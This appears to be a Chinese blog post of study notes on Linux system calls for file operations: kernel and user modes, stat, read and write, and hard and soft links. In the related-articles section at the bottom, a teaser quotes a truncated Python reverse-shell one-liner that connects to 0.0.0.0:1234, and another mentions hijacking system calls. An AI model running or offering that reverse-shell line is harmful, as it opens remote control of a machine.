《Unix/Linux系统编程》第八章学习笔记

摘要:
第8章使用系统调用进行文件操作8.1系统调用在操作系统中,进程以两种不同的模式运行,即内核模式和用户模式,简称Kmode和Umode。在Umode中,进程的权限非常有限。intsyscall第一个参数a是系统调用号,b、c和d是相应内核函数的参数。当进程完成执行内核函数时,它将返回到用户模式并获得所需的结果。Stat按文件名计数指向文件,并在缓冲区中填充Stat信息。

第八章 使用系统调用进行文件操作

8.1系统调用

在操作系统中,进程以两种不同的模式运行,即内核模式和用户模式,简称Kmode和 Umode。在Umode中,进程的权限非常有限。它不能执行任何需要特殊权限的操作。特殊权限的操作必须在Kmode下执行。系统调用(简称syscall)是一种允许进程进入Kmode以执行Umode不允许操作的机制。复刻子进程、修改执行映像,甚至是终止等操作都必须在内核中执行。

8.2 使用系统调用进行文件操作

系统调用必须由程序发出。它们的用法就像普通函数调用一样。每个系统调用都是一个库函数,它汇集系统调用参数,并最终向操作系统内核发出一个系统调用。

 int syscall(int a,int b,int c,int d);

第一个参数a是系统调用编号,b、c、d是对应内核函数的参数。内核的系统调用处理程序根据系统调用编号将调用路由到一个相应的内核函数。当进程结束执行内核函数时,会返回到用户模式,并得到所需的结果。返回值≥0表示成功,-1表示失败。如果失败,errno变量(在errno.h中)会记录错误编号,它们会被映射到描述错误原因的字符串。

简单的系统调用

access检查对某个文件的权限int access(char *pathname, int mode);
chdir更改目录int chdir(const char *path);
chmod更改某个文件的权限int chmod(char *path, mode_t mode);
chown更改文件所有人int chown(char *name, int uid, int gid);
chroot将(逻辑)根目录更改为路径名int chroot(char *pathname);
getcwd获取CWD的绝对路径名char *getcwd(char *buf, int size);
mkdir创建目录int mkdir(char *pathname, mode_t mode);
rmdir移除目录(必须为空)int rmdir(char *pathname);
link将新文件名硬链接到旧文件名int link(char *oldpath, char *newpath);
unlink减少文件的链接数;如果链接数达到0,则删除文件int unlink(char *pathname);
symlink为文件创建一个符号链接int symlink(char *oldpath, char *newpath);
rename更改文件名称int rename(char *oldpath,char *newpath);
utime更改文件的访问和修改时间int utime(char *pathname, struct utimebuf *time)
mount将文件系统添加到挂载点目录上int mount(char *specialfile,char *mountDir);
mknod创建特殊文件int mknod(char *path,int mode, int device);

8.3 常用的系统调用

stat获取文件状态信息
open打开一个文件进行读、写、追加
close关闭打开的文件描述符
read读取打开的文件描述符
write写入打开的文件描述符
lseek重新定位文件描述符的读/写偏移量
dup将文件描述符复制到可用的最小描述符编号中
dup2将oldfd复制到newfd中,如果newfd已打开,先将其关闭
link将新文件硬链接到旧文件
unlink取消某个文件的链接;如果文件链接数为0,则删除文件
symlink创建一个符号链接
readlink读取符号链接文件的内容

8.4 链接文件

Linux允许使用不同的路径名来表示同一个文件,这些文件叫LINK文件。链接有两种类型:硬链接和软链接

  • 硬链接
    命令ln oldpath newpath创建从newpath到oldpath的硬链接。硬链接文件会共享文件系统中相同的文件表示数据结构(索引节点)。文件链接数会记录链接到同一索引节点的硬链接数量。硬链接仅适用于非目录文件。否则,它可能会在文件系统名称空间中创建循环。

  • 软链接
    命令ln -s oldpath newpath 创建从newpath到oldpath的软链接或符号链接。newpath是LNK类型的普通文件,包含oldpath字符串。软链接适用于任何文件,包括目录。软链接在以下情况下非常有用。
    通过一个较短的名称来访问一个经常使用的较长路径名称。
    将标准动态库名称链接到实际版本的动态库。

8.5 stat系统调用

stat/lstat/fstat系统调用可将一个文件的信息返回。stat按文件名统计指向文件,并在缓冲区中填写stat信息。

  • read()系统调用
    read()将n个字节从打开的文件描述符读入用户空间中的buf[]。返回值是实际读取的字节数,如果read()失败,会返回-1。

  • write()系统调用
    write()将n个字节从用户空间中的buf[]写入文件描述符,必须打开该文件描述符进行写、读写或追加。返回值是实际写入的字节数,通常等于n个字节,如果write()失败,则为-1。

实践部分

《Unix/Linux系统编程》第八章学习笔记第1张
《Unix/Linux系统编程》第八章学习笔记第2张

《Unix/Linux系统编程》第八章学习笔记第3张
《Unix/Linux系统编程》第八章学习笔记第4张

免责声明:文章转载自《《Unix/Linux系统编程》第八章学习笔记》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇ES笔记七:filter和match的区别mongodb常用的sql语句总结下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

记一次对python反弹shell的分析

前言 昨天学习了反弹shell,对python弹shell产生了一些疑惑 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",1234));os.dup2(s.fileno(),0); o...

OJ开发笔记(1)

  最近想挖坑搞个跑在linux上的OJ,查了很多资料,也读了很多大神的代码,自己有些感悟。于是把评测内核的部分功能写了出来,这里做个笔记备忘啦。   学校用的OJ是几年前的hustoj,只支持C/C++,Java和Pascal跑起来老是出现莫名奇妙的错误,感觉某学长没有搭好(╬ ̄皿 ̄)。自己想搞的OJ以后应该能支持C/C++/Java/Pascal/C#...

PCRE正则库的使用

使用pcre编写C或C++程序,然后编译。 对于C程序,编译命令为:gcc -I/usr/local/include/pcre -L/usr/local/lib/pcre -lpcre file.c 对于C程序,编译命令为:gcc -I/usr/local/include/pcre -L/usr/local/lib/pcre -lpcrecpp file....

十、oracle 常用函数

一、字符函数字符函数是oracle中最常用的函数,我们来看看有哪些字符函数:lower(char):将字符串转化为小写的格式。upper(char):将字符串转化为大写的格式。length(char):返回字符串的长度。substr(char, m, n):截取字符串的子串,n代表取n个字符的意思,不是代表取到第n个replace(char1, sear...

Uboot--Linux参数传递--ATAG【转】

转自:https://blog.csdn.net/gx19862005/article/details/28596539 Linux内核源码分析--内核启动命令行的传递过程(Linux-3.0 ARMv7) Linux内核在启动的时候需要一些参数,以获得当前硬件的信息或者启动所需资源在内存中的位置等等。这些信息可以通过bootloader传递给内核,比较常...

内核调试和系统调用劫持

如何在不重新编译内核,不rmmod内核模块的情况下修改系统调用 为了解决这个问题,最终实现了两种解决方式: 1.Linux系统调用劫持 2.Kprobes内核调试技术(并非真正的修改)   下面分别说下:   Linux系统调用劫持: 其实就是修改内核符号表,来达到一个劫持的作用。因为系统调用实际上是触发了一个0x80的软中断,然后转到了系统调用处理程序的...